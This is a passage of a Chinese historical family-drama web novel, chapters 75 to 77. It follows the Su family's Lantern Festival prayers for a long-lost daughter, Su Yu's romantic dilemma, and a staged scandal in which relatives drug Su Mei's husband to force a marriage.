关氏原本也是看好薛迟和苏钰的,但现在皇上赐婚,谁敢不从。再不愿意也只能丢开手。 昭华公主得意了,四处造谣,她听得也生气。 本来还想着要如何辟谣,苏钰转头就跟谢无衣到摘星楼玩。 听下人说的时候,她都有点P.M. 獨.傢.癥.蠡懵逼。 虽然当了这么多年苏家媳妇,她还是时常觉得自己与苏家格格不入。 不管是苏钰,还是苏玫,她都觉得心性转的有点快。 前一刻爱的要死要活,后一刻转身就走,不带一丝犹豫。 “今天有些晚了,我明天就去看老太太。”苏钰笑着说。 苏玫笑着说,“听说姐姐现在跟谢大人走的近,这样才好,省得人乱嚼舌根。” 谁离谁都能活,薛迟要尚主了,那就下一个。 苏钰想到慕容宁,她实在不想因为谢无衣与慕容宁冲突,更不用说她还没有成亲的念头,“只是朋友相邀,早知道会传遍京城,我就不去了。” 苏玫笑,“我倒是觉得姐姐与谢大人挺般配的,谢大人生的好看,称的上是美男子。” “再说吧。”苏钰说着,“母亲说我不宜早成婚。” 关氏也觉得苏钰最近两年有些时运不济,至少婚运不佳,“十五要去莲花庵祈福,不如求个签看看。” 苏钰向来不信这些,但关氏这么说了,顺道求个签也无妨,便点头道:“是该求个签,问问前程。” 三人说了一会,眼看着要到晚饭时间,苏钰正想起身告辞,就有婆子过来回报,“姑爷来了。” 苏枚皱眉,“烦不烦啊,又来,跟他说,我十五之后再回去。” 说什么新媳妇头一年要见的亲戚多,关她什么事,贺家的亲戚她一个都不想见。 “大过年的,难为姑爷一趟一趟的过来。”关氏说着,对婆子说着,“请姑爷过来。” “是。”婆子应着,转身去了。 苏钰见状,起身道:“我也该回去了。” 关氏点头,又叮嘱,“天黑路滑,路上当心些。” “是。”苏钰应着,从后门离去。 片刻之后,婆子引着贺英进来。 关氏也从床上起来,苏玫扶着到罗汉床上坐下来。 “给岳母请安。”贺英上前见礼。 关氏笑着说,“因我病着,便留了玫姐儿几日。本该请亲家来吃酒的,也耽搁了。” “岳母身体为重,都是一家子骨肉,这些虚礼早该免了。”贺英笑着,态度十分恭谦。 “刚才玫姐儿还跟我说,我身体己无大碍,她也该回去了。”关氏笑着说,“正巧你来了,把她接回去吧。” 说着,关氏给苏玫使了眼色。 苏玫虽然不愿意,但关氏都这么说了,也只得道:“那十五的时候我回来,陪母亲一起去莲花庵。” “也罢,那就一起去吧。”关氏说着。 贺英有些意外,“岳母元宵节要去莲花庵祈福?” 元宵节是重要的节日,意在团圆。 这个时间点去祈福,感觉怪怪的。 “嗯,都去。”关氏说着,一副不欲多说的模样。 贺英也不好问,只是笑着道:“那十五当天,我送玫姐儿过来。” “好。”关氏笑着说,吩咐婆子,“把姑奶奶的东西收拾好,吃了晚饭就回去。” 都这个时间了,肯定得留饭。 贺英也没推辞,三人一起吃了晚饭,丫头婆子己经把苏玫的东西收拾好装车。 苏玫却是道:“平常用的东西就留家里,我会时常回来。” “今天就带去吧。”关氏说着,“家里缺的,我再给你置办一份。” 回娘家的时候,拿着东西回来的,走的时候却留娘家,会被婆家说嘴。 就是平常日用值不了多少钱,但贺家穷了,尤其是贺二太太那样子,为了几十两碎银子斗嘴,实在没必要。 贺英何其聪明,明白关氏的言下之意,心里有些不舒服,脸上却不敢带出来。 一文钱难死英雄汉,尤其是过年需要花钱的时候,只是人际关系这块,他都快要转不开了。 贺大太太管家越来越小气,贺二太太总是撺掇着他问苏玫要钱。 别说苏玫根本就不会给他,就是给他,他也不能要。 连妻财都要,他都成什么人了。 婆子又拿来一个包袱,递给苏玫,苏玫接过来正好奇是什么。 就听关氏笑着对贺英道:“这是玫姐儿给姑爷裁的衣服,差的针脚我让针线上人的补上了,正好过年穿。” 夫妻就是要闹,总要生了儿子后再闹。 贺英心知是关氏送他的,心里十分高兴,关氏的意思很明显,希望他们能夫妻和睦,他也是如此希望。 当即向苏玫拱手道谢,“多谢娘子。” 苏玫并不高兴,但关氏的心意不好拂了,笑着道:“也没量尺寸,应该是合身的。” “时候不早了,早些回去吧。”关氏说着。 贺英与苏玫辞行,“我们回去了。” 第75章 第 75 章 苏家的新年向来热闹,下…… 苏家的新年向来热闹, 下人们往往格外卖力,因为赏钱多,主子随便赏赏,半年的月钱都有了。 唯独今年, 关氏病了, 宾客多数去了叶府, 由叶氏帮忙招呼, 家里无宴可摆,下人无可做, 自然也就无钱可领赏。 “我进府这半年了,就好奇一件事,府里有大姑娘,三姑奶奶,怎么没有二姑娘或者二姑奶奶啊。” 小丫头坐在厨房台阶上, 跟身边的婆子说着。 因为都是家生子,下人之间充满了亲友关系,论起来都是熟人亲戚, 说话也就更随意。 “千万别说二姑娘, 是府里的忌讳。”婆子赶紧说着。 小丫头更好奇了, “为什么是忌讳,好妈妈就告诉我吧, 我若是不知道, 主子面前说错了,岂不是要闯大祸。” 婆子听她如此说,便道:“那我跟你说了,你可千万别说是我说的。” 小丫头连连点头。 “二姑娘丢了,就是十五元宵节那天。所以这些年来, 府里从来不过元宵,反而去庙里祈福。”婆子说着。 这是十五年前的往事,因为是忌讳,府里下人们也都三缄其口,但家里丢个姑娘,这么大的事,年龄稍大一点的婆子都知道。 二姑娘苏辰与苏邑是双胞胎,叶氏因生下这对双生子时伤了元气,休养几年了都不见好转。 幸运的是,苏辰与苏邑十分健康,叶氏也觉得自己的辛苦都是值得。 直到十五年前元宵节,又有西北使团进京朝贺,慕容宁的弟弟慕容弦在苏家做客。 苏家上下异常忙碌,但节日该过还得过。苏天翊要招呼慕容弦,没跟二房三房一起。 三房又因关氏有孕,苏天佑也留在家里。 叶老太爷派人传话,过节了想见外孙外孙女,苏天华便带着二房去叶家过节。 也是巧了,当时苏钰正在二房,跟苏辰苏邑玩,得知二房要出门,就闹着一起去。 苏天翊和苏天华是双胞胎,自幼亲厚,苏天华便把苏钰也带上,四个孩子一起去了叶家。 在叶家吃了是晚饭看了灯,叶氏因为身体不好,不想来回折腾,便留宿在叶家。 本想着一起留宿的,又想到过节,慕容弦估摸着也想看外甥女,便由苏天华带着四个孩子回去。 从叶府到国公府就没几步路,四个孩子出门,跟随的丫头婆子一大堆,还有驾车的车夫,跟随的小厮,真是浩浩荡荡一群人。 行至半路,叶府的管事追了上来,叶氏的旧疾犯了,带的药吃完了,需要回苏家取药。 苏天华担心叶氏,便让管事留下照看,带着孩子们回苏家,他骑马脚程快,先一步去给叶氏送药。 那么多人跟着,又有老成的管事,苏天华想着怎么都不会有事。 结果就出事了,十五元宵节,灯火通明时失火了。街上人忙着救火的,逃命的,发生了踩踏事件。 苏家的车队被冲散了,因为人太多,又有火,马受惊,车不能走。 奶妈们只能抱着小主子们下车,遇到人潮,婆子下人被人潮挤的七零八落。 苏天华赶到时,苏辰不见了,连带着抱着她的奶妈跟着一起失踪。 奶妈是家生子,父母兄弟老公孩子都在府里,不存在抱走孩子私自拐卖的情况。 最有可能的是,被冲走的时候,大人孩子一起被拐了。 京城治安虽然好,但是想抓个拐子出来,和大海捞针差不多。而且大部分拐子,拐了人之后就会马上去他乡。 苏家用尽力气,找了一两年无果,虽然没有放弃,也都知道是找不到了。 “二姑娘真可怜。”小丫头听完十分感慨,“都投胎成千金小姐了,竟然被拐走了。” 被拐子拐走肯定是下场凄惨,尤其是看苏邑的样貌也能知道,肯定生的漂亮。 漂亮的女孩流落风尘,下场之惨无法想像。 “都是命。”婆子跟着叹口气,“自那之后,二太太和二老爷就经常吵架。” 三个孩子丢了一个,还剩下两个。 但亲情不是算数题,丢了哪一个都挖亲娘的心,叶氏心里悲苦,脾气就上来了。 苏天华心里也不好受,原本的恩爱夫妻就开始吵吵闹闹,夫妻感情急转直下。 吵架,吵狠了就动手,和离,就没消停过。 幸好苏天华是武官,常年不在京城,要是与叶氏天天面对面,肯定是彻底分开。 随着时间过去,叶峰和苏邑都要娶媳妇。 苏天华虽然没答应入赘,但实际上却搬入叶府住,就连过年都是一年在苏家,一年在叶家。 夫妻关系相较年轻那会是缓和许多,但回想当年两人恩爱的时候,依然让人感慨。 “说什么呢,好好的活不干,说主子的事非。”管事媳妇路过,听到两人说话,顿时上前训斥。 幸好今年二房不在,不然这话让叶氏听到,只怕又要大病一场。 两人顿时低下头,赶紧走开。 管事媳妇也没接着责罚,马上就要十五了,一家老小要去莲花庵祈福。 本来按照往事的规矩办就行,但今年不同,谷夫人要去,那要忙的就多了。 及至正月十五,苏钰起了个大早,虽然还在正月里,衣着却十分素净,头发简单挽了个发髻,更显得清减。 吃了早饭去二门,只见二门上车马己经排开。 苏震岳,苏天佑,苏越,贺英骑马。谷夫人和关氏坐轿,苏钰和苏玫姐妹共乘一车。 至于苏略,虽说要长久一阵,但自两天前就不在府里,也没人敢问他去哪了。 苏玫昨天晚上就回来了,贺英是早上来的,按苏玫的意思,他不用来。 苏家集体的活动,贺英一个外人没必要凑热闹。 但贺英得知,苏震岳和谷夫人都会去,大早上就过来了。 车马驶出二门,关氏早与叶氏说定时间,路口汇合。 又因苏震岳和谷夫人都去了,叶老太爷也决定同行。 原本每年的祈福,都是苏天佑,叶氏和关氏带着小辈们,苏天华常年不在京城。 现在是磕家出动,全副执事摆开,连长辈们都去了。京城各勋贵世家听到消息,连忙送上猪肉,香烛,茶食之类赶上送礼。 因关氏病着,叶氏张罗这回出行,早有预备封赏,管事记下礼单,挨个封赏回礼。 不多时,车驾到莲花庵门口,钟鸣鼓响中,只见圣和师太亲自相迎,身后跟随着莲花庵一众尼姑。 前头一众男人们先行下马,苏钰和苏枚先一步下车。 苏钰扶着谷夫人,苏枚扶着关氏下轿,至于叶氏,自有苏天华照看。 “苏老大人,老太太。”圣和师太笑着相迎。 苏钰看到圣和师太站在山门外相迎,微微有些惊讶。 三十几岁的圣和师太看上去比同龄人年轻,青色灰的锱衣都难掩其美貌。 相比其他白发苍苍的出家之人,圣和师太过份年轻了些。 但地位并不是年龄所决定的,目前己知的,能让圣和师太山门外相迎的只有关太后。 至于显庆皇帝,他没来过莲花庵。 抛开关楚河前妻这重身份,圣和师太最大的功绩,她治好了发疯的安阳长公主。 安阳长公主是关太后亲女,也是关太后唯一活下来的孩子。因何而疯不得而知,后来偶遇圣和师太,竟然被她渡化。 当然,安阳长公主并没有完全恢复,但她能认清人,不再随时发疯,可以语言交流。 现在莲花庵带发修行,关太后在莲花庵后修了好大一座庵堂,从宫中调派人手照看安阳长公主。 也因为安阳长公主的例子在前,先是京城勋贵把家里疯了的女眷送过来,圣和师太一律接收,然后安排治疗。 再后来就有普通百姓把疯了的女儿老婆送过来。 以圣和师太当时的地位,没必再接受普通人家的病人,但她是来者不拒。 有病的,被家人故意抛弃的,性别女,莲花庵都收。 莲花有点像疯人院,专收疯女人,神奇的是,她就是不能完全治好,却能让她们不再发疯。 “阿弥陀佛,是我们打扰了。”谷夫人笑着说。 圣和师太微笑,“老太太能赏脸,贫尼高兴还来不及,这是老太太第一次来我莲花庵。” “是我不想来打扰大师清修。”谷夫人笑着说,往里面看了一眼,“以后倒是要常来,大师别嫌我烦才是。” “怎么会。”圣和师太笑着说。 说话间,众人进入,一层一层的瞻拜观玩。 进到二层山门里,先是去正殿祈福。 苏震岳,谷夫人,叶老太爷三个长辈领头,晚辈们跟着一起。 圣和师太全程陪同,尤其是对谷夫人格外客气,苏钰估摸着,关太后来也就是这个待遇了。 一时间礼毕,众人移至后殿吃茶。 “大师慈悲之心感天动地。”谷夫人说着。 她是第一次来莲花庵,细看出入的尼姑们,个个面色红润,全无菜色。 年龄也不等,多是青年中年女子,看行动举止,多半是穷苦人家出身。 早就听闻,莲花庵收容被抛弃的女子,这也是庵堂常做的,但把这些孤苦女子照顾的如此好,就十分难得了。 多的是庵堂,收容女子之后,压榨迫害,甚至因财害命。 莲花庵不同,发疯的给冶,被抛弃的收容为尼,好好照顾。 圣和师太是用实际行动,救治了众多孤苦女子,这是感天动地的真慈悲。 “老太太过奖了,出家人慈悲为怀,本是贫尼份内之事。”圣和师太笑着说。 清谈闲聊间,己至午饭时间,莲花庵早备好素斋,众人起身用餐时。 “苏姑娘。”圣和师太突然叫住苏钰。 苏钰微微一怔,莲花庵每年都来,圣和师太一直对她淡淡的,这还是第一次主动跟她说话。 “大师。”苏钰走到圣和师太跟前。 “我可从来没说过,你不宜早嫁的话。”圣和师太有几分打趣说着。 苏钰脸上闪过一丝错愕,这话慕容宁在宫里对关太后说的,圣和师太竟然能知道。 “不过既然你母亲说我说了,那我就再多说几句。”圣和师太说着。 苏钰道:“请大师指点迷津。” “缘份来了,抓住即可,不用顾虑太多。”圣和师太说着。 苏钰想了想,薛迟都要尚主了,这缘份肯定是抓不住了。 难道是在说谢无衣? “谢大师指点。”苏钰说着。 用完素斋,谷夫人和关氏一直病着,自去休息,苏枚陪伴关氏左右。 至于贺英,则趁机去看望贺小妹,这也是他会跟着来莲花庵的目的之一。 庵中过年,肯定冷清,也不知道贺小妹过的怎么样。 叶氏为了苏辰在偏殿供了祈福香火,每年过来,她与苏天华必定过去。 叶峰,苏钰,苏邑三人随行。 当年四人同车,苏辰不见了,这段记忆,对于当时才四岁的苏钰是模糊的。 就是年龄稍长的叶峰,记得也不多,年龄小,被奶妈抱着,人潮冲过来时,吓都要吓死。 一波又一波的人潮,直到现在,叶峰对于晚上去人多的地方都有阴影。 “我的儿,你是死是活,倒是给我托个梦啊。”叶氏哭泣说着。 十五年了,不用别人告诉她,她都知道女儿找不到了。 但找不到就不找了吗,不,必须得找。 她有时候都觉得,熬到现在,她就想知道一个结果。 是死是活,必须得有个准信,这颗吊了半辈的心才能放下来。 “母亲……”苏邑说着,“我有感觉,二姐还活着。” 可能是双胞胎的感应,或者是自己盲目的自信,他一直觉得苏辰还活着,只是时间还不到,所以才没有回来。 “活着就好,不管她在哪,只要让我知道,她还好好活着,我也就放心了。”叶氏哭泣说着。 苏天华眼中含泪,却是劝慰着叶氏,“你为她如此伤心难过,会折她福的,好了,我们该出去了。” 叶氏不愿意走,却被苏天华硬扶着出来。 过年时还好,叶氏还能打起精神来,每到十五左右,尤其是从莲花庵回去,总是要病上一场。 随着叶氏年龄渐长,这样的感情磋磨,要伤不起了。 他有时候都想,要不要找个假女儿,至少能安抚一下叶氏。 苏天华扶着哭泣的叶氏出来,三人也跟着出来,叶老太爷并没跟着进去,担心年龄大了承受不住,只在门口站着,依然心里难受。 “老太爷,我扶您去里面休息。”叶峰对叶老太爷说着。 叶老太爷也是满脸泪痕,点点头,任由叶峰扶着。 丢了一个外孙女,他虽然不像叶氏那般,这些年每每想起,他总有一份内疚。 当年要不是他要苏天华一家陪自己过节,是不是苏辰就不会丢了。 每年十五都过来,莲花庵早有安排,会在这一天空出来,只招呼苏家上下,更设有专门的休息室,供苏家众人暂时休息。 苏钰没有去休息,只在院中站着,苏邑走过来,神情有些闷,“我说的是真的,我能感觉到二姐还活着。” 这种没由来的自信,他也不知道哪里来的。 尤其是这回从南魏战场回来后,这种感觉越发强烈。 今天他说了出来,只怕叶氏和苏天华都不会当真,只当是他是在安慰叶氏。 “我相信你说的。”苏钰说着。 虽然苏邑的话听着很玄学,但苏邑心眼实,从来不会因为安慰人说慌,他既然这么说,就是真心这么感觉的。 苏邑道:“母亲为了二姐伤心这些多年,只愿二姐早日知晓,早日回家。” 苏钰心情复杂,这是二房的心结,要是苏辰能回来,不管是叶氏还是苏天华,只怕愿意用命去换。 “苏姑娘。”一个小尼姑走过来,“老太太唤您过去。” 苏钰点头,“我就去。” 与苏邑告别,苏钰往谷夫人休息室走去,就在后院女眷们借宿之所。 穿过垂花门,苏钰正想往后走,手突然被拉住了。 苏钰吓了一大跳,武者的本能反应就要反击。 “阿钰。” 第76章 第 76 章 苏钰身体僵了一下,…… 苏钰身体僵了一下, 抬起的手放了下来。 是薛迟。 丝丝抽痛从心口处传来,眼前的男人依然让她心动。 只是皇上指婚,不存在感情上的背叛,无缘而己。 “不要跟谢无衣见面。”薛迟说着。 “我跟谢无衣只是普通朋友。”苏钰下意识解释着。 话出口, 又觉得很没道理, 他都要尚主了, 她为什么不能跟谢无衣见面。 薛迟语气中透着一丝烦燥, “他没当你是普通朋友。” 苏钰沉默,她又不傻, 当然知道谢无衣没当她是普通朋友。 那又怎么样,薛迟都要尚主了,她为什么不能跟谢无衣出去玩。 利用也好,负气也罢,她答应的时候确实有点冲动, 被慕容宁训斥后也不打算跟谢无衣私下见面。 “你等等我,与昭华的婚事,我会解决。” 苏钰的沉默, 让薛迟暴躁, 他不怪苏钰, 尚主之事非他所愿,但眼前情况, 他还推不了。 给他时间, 他会解决。 “我己经答应母亲,不会再与谢无衣私下见面。”苏钰说着。 她喜欢薛迟,因他跟慕容宁争执。 对谢无衣没那么喜欢,她就不想再惹慕容宁生气。 “如此最好。”薛迟说着。 苏钰看着薛迟,决定把话说明白, “苏家的情况你多少也是晓的,从祖父祖母起,苏家人皆姻缘不顺,我早就认命了。” 薛迟默然听着,苏家的八卦,京城皆知,他也不例外。 那何止是姻缘不顺,根本就是逆天。 “母亲也与我说过,关于我的亲事,我可以自行决定,嫁与不嫁。”苏钰继续说着,“我早己决定,不嫁人。” 就是薛迟不尚主,他俩也未必能走到谈婚论嫁那步。 薛迟尚主了,提前了断虽然痛苦,但痛苦过了也就这样了。 “我会娶你。”薛迟说着,全然误会了苏钰的意思。 苏钰愣了一下,刚想解释,就听刘顺家的高声说着,“谁在门口说话。” “是老太太的陪房。”苏钰有些紧张,“你快些回去吧。” 谷夫人和慕容宁一样,都反对她和薛迟来往。 今天薛迟过来,只怕谷夫人早看到了,让刘顺家的故意如此喊,其实是在提醒她。 “过些时候,我再来找你。”薛迟说着,转身离开。 苏钰看着他走远,心情却是起伏难安。 门口站了好一会,才转身进院,路过谷夫人门口时,犹豫一下却没有进去。 她大概能知道谷夫人会跟她说什么,她并不想听。 薛迟是她的初恋,最纯洁最美好的感情,合适也好,不合适也罢,她都喜欢。 *** 在莲花庵呆到半下午,担心天黑路滑,苏震岳通知众人收拾回去。 车驾回到苏家时,天快黑了,虽然是元宵节却没有吃团圆饭的意思,各自回去休息。 苏玫先送关氏回屋,本想留宿,关氏却不允。 今天是元宵节,苏家情况特殊。贺家是要过节的。这种团圆的日子,苏玫这个新媳妇该回去,尤其是贺英还眼巴巴跟着。 “母亲好好歇着,我明天再来。”苏玫说着。 养了半个月,关氏己经好的差不多,今天折腾这么大半日,还是要好好休养。 “过年事务繁忙,我身体也好多了,出了正月你再回来。”关氏叮嘱着苏玫。 一般来说,年酒要吃到正月底。 第一年新媳妇,自己家的亲戚不招呼,天天往娘家跑总是不合适的。 苏玫对于贺家的亲戚实在不想搭理,却只能道:“我知道了。” 贺英赶紧上前道:“岳母,我们回去了。” 洪婆子早安排好车驾,夫妻俩到二门上车。 苏玫上车时,贺英还特意要扶她,却被苏玫甩开。 一路无话,车驾驶到勇毅侯府,苏玫刚从车上下来,就听到孙怜娘的声音,“表哥,你终于回来了,姑妈打发我来等你,你一直不回来,她老人家可着急了。” 贺英皱眉,“我不是说了吗,今天不用等我。” “那怎么能行,今天是元宵节,要团圆的。”孙怜娘说着,语气十分娇气。 贺英根本不想理她,只是看向苏玫,牵住她的手,往二房走。 孙怜娘见状,心里着急,脸上却是笑着,仿佛刚看到苏玫一般,笑着道:“六奶奶也回来了,姑妈还以为你今天也要留在苏家。” 苏玫笑着,“听孙姑娘这语气,我今天是不该回来了。” “六奶奶出身名门,榻前侍疾是孝道,姑妈一直夸你呢。”孙怜娘笑着说。 娘家出身好有什么用,婆婆不喜欢,就是关氏,她也不能天天来贺家守着苏玫。 孙家越来越穷,家里对她也是越逼越紧。为了多要聘礼,甚至让她给五十的老头当填房。 她现在唯一能抓住的只有贺英。 “我倒觉得二太太更喜欢你当她儿媳妇。”苏玫笑着,看一眼贺英,“我向来大度,倒是不介意喝这杯妾室茶。” 贺英变了脸色,神情严肃,似是在跟苏玫说,又好似在告戒孙怜娘,“玫儿说什么呢,我们新婚燕尔,正如胶似漆的时候,我绝不纳妾。” 孙怜娘不自觉得咬下唇,心里却有几分发狠。 她也没想过要当妾,就是妾,那也得是二房,平妻才行。 苏玫流产之后,贺英好像察觉到什么,对她的态度骤变,冷漠异常。 倒是对苏玫,贺英事事上心,仿佛苏玫真成了他的爱妻。 说话间三人回到二房,先去贺二太太屋里请安,就见贺英的舅舅舅母也在屋里,还有贺二老爷也在,四人正说话。 贺英对于舅父舅母本来也没什么,虽然不太亲,但也能过的去。 但这两年孙家穷了,有事没事就来借钱,再是亲舅舅,也难有好脸色。 “哎哟,大忙人终于回来了,我刚才还跟你说婆婆说,新媳妇哪有不在家里过元宵节。”孙舅母阴阳怪气说着。 苏玫笑着,“是啊,今天是十五元宵节,我自然要回来过。倒是舅老太舅太太到此时还没走,是打算在贺家吃这碗团圆饭吗。” 如此当面怼回去,孙舅母愣了一下,孙怜娘说过苏玫不好缠,但没想到竟然如此无礼,便转头对贺二太太阴阳怪气,“果然是高门大户的千金,脾气如此大,这样的儿媳妇,你也不容易。” 贺二太太不善于口舌,对孙舅母的话有点接不住,只是嫌恶的看一眼苏玫。 高门大户的儿媳妇有什么用,既不孝也不顺,甚至还十分吝啬。 “出身高门大户,多少人求不得呢。”苏玫笑着,看向孙怜娘,“是不是啊,孙姑娘。你这身上穿的是去年的还是前年的式样,料子也不好。新年没衣服穿跟我说,我给丫头裁新衣时也顺道给你做两身。” 提到衣服,孙怜娘顿时气红了眼,却又无法反驳,人穷志短,心里却是越发不甘心。 凭她的才貌手腕,要是也出身高门大户,肯定能凭本事嫁个高门,也不至于受这种气。 孙舅母更是生气,指着苏玫怒声说,“有这么跟长辈说话的吗?” “我在跟孙姑娘说话,她是哪门子长辈。”苏玫冷笑,目光中毫无掩饰的轻蔑,“我累了,先回屋更衣,少陪。” 不等贺二太太发话,苏玫转身离开。 孙舅母气的全身打颤,对贺英说着,“你这媳妇是要上天啊,苏家是什么家教,教出这等女儿来。” 苏家的家教虽然很难议论,但也不是孙家能议论的,贺英拱手道:“宴席要开始了,我也先去更衣。” 贺二太太叹气,“去吧。” 苏玫回屋更衣,被留在家里的大丫头宝瓶说着,“舅老爷和舅太太这趟过来,是借钱的,二太太没钱,舅太太就把主意打到嫁妆上。” 贺小妹目前还住在庙里,她的嫁妆是闲置状态,贺二太太早就想打主意,只是嫁妆被锁在西厢房里,无法得手。 “孙家去了厨房,跟厨房的婆子嘀咕了许久,只怕要在酒宴上做些什么。”宝瓶担忧说着,“舅老爷和舅太太又不走,要是出了事……” “出了事岂不是更好。”苏玫笑着说,“她那么想当妾,我乐得成全。” 宝瓶有些不解,就连张婆子都觉得不妥,“二太太的亲外甥女,要是真进了门……” 良家出身为妾,又是亲戚,这么个妾室是麻烦。 “又不是我的麻烦。”苏枚笑着说,“把妆匣打开,我得好好挑只钗。” 晚上有热闹看,得好好打扮一下,盛妆出席。 新首饰,新衣服,是新年时关氏给她做的。 哪怕是出阁了,四季制衣打首饰的份例,关氏依然按季给她。 六个庄子的田产出息,也是关氏在管,说再等几年她年龄长些,也全部交给她。 祖父是靖武侯,父亲是三品侍郎,这些才是她在贺家立足的资本,跟男人,婆婆,儿子都没有关系。 苏玫吃了半盘点心,喝了杯茶,终于有婆子过来传话,“元宵节宴席己摆好,请六奶奶去大花厅。” 苏枚这才起身,带着丫头去了后头。 勇毅侯府的大花厅在贺老太太正房后头,五间打通,中间没有隔断。 逢年过节,家里有喜事,宴席都摆在这里。 此时宴席己齐备,大房在左侧,二房在右,至于贺老太太都是跟大房一起坐。 又有孙舅父和孙舅母,孙怜娘一家三口在,贺大太太虽然不喜,却还是安排了坐次。 落座开席,因为是元宵节,贺大太太心疼钱,依然请了戏班。 台上唱的热闹,席宴上孙舅母对贺英也格外亲切,“小时候哥儿住在我家里,跟怜娘天天吃住一起,还说要娶怜娘当媳妇,你可还记得。” 贺英脸上的不耐烦几乎要带出来,“那都是幼年不懂事时说的,我现在己娶妻,表姑娘也要谈亲事,这些旧事莫要再提。” 孙怜娘一脸委屈绞着手绢,似在控诉一般,“但这些往事,我都记得。” 一直以来贺英对她挺好的,哪怕是娶了苏玫后,也一直给她希望。 突然间变了脸色,她都不知道自己哪里做错了。 “记得好,多讲讲,也让我听听。”苏玫笑着说,这倒不是嘲讽,而是真觉得有意思。 当初要不是贺英风流,对倒贴上来的孙怜娘并不十分拒绝。 后来更是利用孙怜娘,用尽一切手段让她落胎。 要是从一开始,贺英就是正人君子,不耍手段也不用心计,严辞拒绝孙怜娘,也不至于像现在这样,想甩都甩不掉。 因果报应,谁都跑不掉。 “玫儿快别说笑了。”贺英说着,又夹菜给苏玫,“你身子单薄,该好好保养才是。” 苏玫笑,却看一眼孙怜娘,“表姑娘身子也单薄,也该多吃些。” 孙怜娘脸色顿时有些难看,苏玫是说者无意,并不知道孙家的情况,虽然不至于挨饿,但吃肉挺难的。 元宵节会厚着脸皮留在勇毅侯府,也是因为家里过不起节了。 酒过三巡,贺英因为要敬酒,喝了几杯之后,就有些上头。 苏玫一直留心他,贺英的酒量不至于这么几杯就上头。 此时贺二太太道:“你这脸都红了,是酒劲上头了,散席还要一会,先去洗把脸吧。” 贺英点点头,对苏玫说着,“我去去就回。” 苏玫笑着点点头,却是对身边的小丫头使个眼色,“跟着去侍侯六爷。” “是。”小丫头跟着去了。 苏玫席上坐着,一副认真听戏的模样,耳朵却是竖着,留意周边情况。 “英哥儿这么年轻就中了探花,将来前途不可限量,你以后是要享大福的。”孙舅母笑着对贺二太太说着,又看一眼苏玫,却是把声音压低,“就是儿媳妇不如意,只要儿子够好,什么都听你的,也翻不了天。” 贺二太太也跟着看一眼苏玫,脸上的嫌恶带了出来。 苏玫流产之后,她总算放下心头的大石。 但这个儿媳妇,她是怎么都看不上,她不是没跟贺英说过,和离或者休出,总之要把苏玫赶走。 贺英却是把她说了一通,连贺小妹的嫁妆都交给苏玫保管,却不给自己这个亲娘。 娶了媳妇忘了娘,女儿又在庙里前途未卜,贺二太太是心寒加心慌。 孙舅母说的对,女人在后宅里总得捏住点啥,赶不走苏玫,那就给贺英再娶一个。 娶个听话懂事,更重要的是跟她一条心,两人一起对抗苏玫,拢住贺英的心,她将来的日子才好过。 不然被儿媳妇踩在脸上,还是个□□不知休的儿媳妇,她后半辈子还有什么指望。 “啊!” 小丫头一声尖叫,扯破喉咙的叫法,把戏台上的声音都压过去了。 大花厅的众人都看了过去,贺老太太有些紧张,“这是怎么了?” 贺大太太连忙让停了戏,起身带着婆子就要过去看,只见一个小丫头跌跌撞撞的跑过来,大声喊着,“六爷和表姑娘,在退舍里……” 小丫头说的断断续续,在场的媳妇哪个听不明白,众人的目光下意识看向苏玫。 只见苏玫稳如泰山,一点都不着急的模样。 倒是贺二太太急了,“莫要胡说八道,英哥儿最讲规矩的,怎么会……” 怎么会闹出来,她只是希望儿子纳了孙怜娘,能当平妻最好。 但她也只想悄悄进行,不想让贺英难堪。 “我亲眼所见,两人在净房旁边的退舍里,衣服都脱了。”小丫头生怕旁人听不见,喊的十分大声。 贺大太太差点要笑出来,却是道:“二太太,一起去看看,若是丫头扯谎,我让管事撕了她的嘴。” 说着贺大太太带着丫头婆子就往净房走,贺二太太也只得起身跟上,孙舅父和孙舅母面面相觑,却也只得跟上。 在他们的计划中,并没有闹到沸反云天,全家都去围观的地步。 不是什么光彩的事,拿住贺英的错,逼着他把孙怜娘娶了当平妻。 现在闹开了,所有人都知道了,还怎么捏住贺英。 一行人快步往退舍走,反倒是苏玫落到后面了,慢悠悠的跟上。 贺大太太脚程快,身边跟着的婆子力气也大,一脚踹开退舍的房门。 只见屋内两人衣杉不整滚在床上,听到外头的动静,贺英瞬间清醒了不少。 “哎哟,你们这是。小六啊,贺家的脸都被你丢尽了。”贺大太太一脸气急败坏,却喊的比谁都大声。 贺英脸上春色未退,大脑混乱,看着眼前的众人,只觉得轰了一下,脑子都要裂开。 “呜,呜,表哥……” 孙怜娘是年轻姑娘,虽然有心理准备,但如此多的人围上来,顿时也吓傻了,下意识的拉住贺英。 “我的儿啊,你这是怎么了。”孙舅母冲上来抱住孙怜娘就哭了起来,“我清清白白的女儿,你们贺家必须给我们一个交代。” 既然己经闹成这样,那就先占住道德至高点,自家清清白白的女儿被糟蹋了,而不是和奸。 “舅太太想要什么样的交代?”苏玫问着。 孙舅母语气坚定,“要娶为平妻。” “噗~哈哈哈。” 苏玫实在没忍住笑了出来,目光却是看向贺英,贺英也正看着她。 元宵节的灯火通明,再加上天上大月亮,虽然是晚上,却显得格外明亮。 苏玫生的漂亮,结合了关氏和苏天佑的优点,天生的美人胚子。尤其这样大笑时,虽然显得飞扬跋扈,却更添几分明媚大气。 “好啊,我没意见。”苏玫笑着说。 第77章 第 77 章 苏玫说了没意见,只…… 苏玫说了没意见, 只是事情闹的这么大,主子下人都看着,要怎么办,可不是她一个人能决定的。 一柱香后, 贺英和孙怜娘收拾妥当, 贺家的长辈, 连同孙舅父孙舅母一同到了贺老太太正房。 苏玫做为贺英的发妻, 唯一的小辈,坐在末席。 “六郎, 你糊涂啊。”贺老太太哭的泪流满面,“家里丫头媳妇那么多,你去招惹表姑娘,把贺家的脸都丢尽了。” 贵族人家的少爷,睡个丫头媳妇没什么大不了的, 偷个腥而己。 孙怜娘是贺英的亲表妹,孙家就是落魄了,那也是正经官宦人家的女儿, 出了这样的事情, 想收场就难了。 “我没有, 我是被算计的。”贺英跪在堂前,神情悲愤, 却是看向贺二太太, 眼中含恨,“我可以向天发誓,我若是对孙怜娘有任何不轨之心,让我天诛地灭不得好死。” 他是风流场上混惯了的,不可能因为两杯酒就把持不住。 唯一的解释就是被下药了。 当时席上, 他左边是贺二太太,左边是苏玫。 不可能是苏玫,因为她不可能跟孙怜娘结盟。只能是贺二太太,他的亲娘。 “我的儿啊,好端端的,你发这么重的誓做什么。”贺二太太顿时急了。 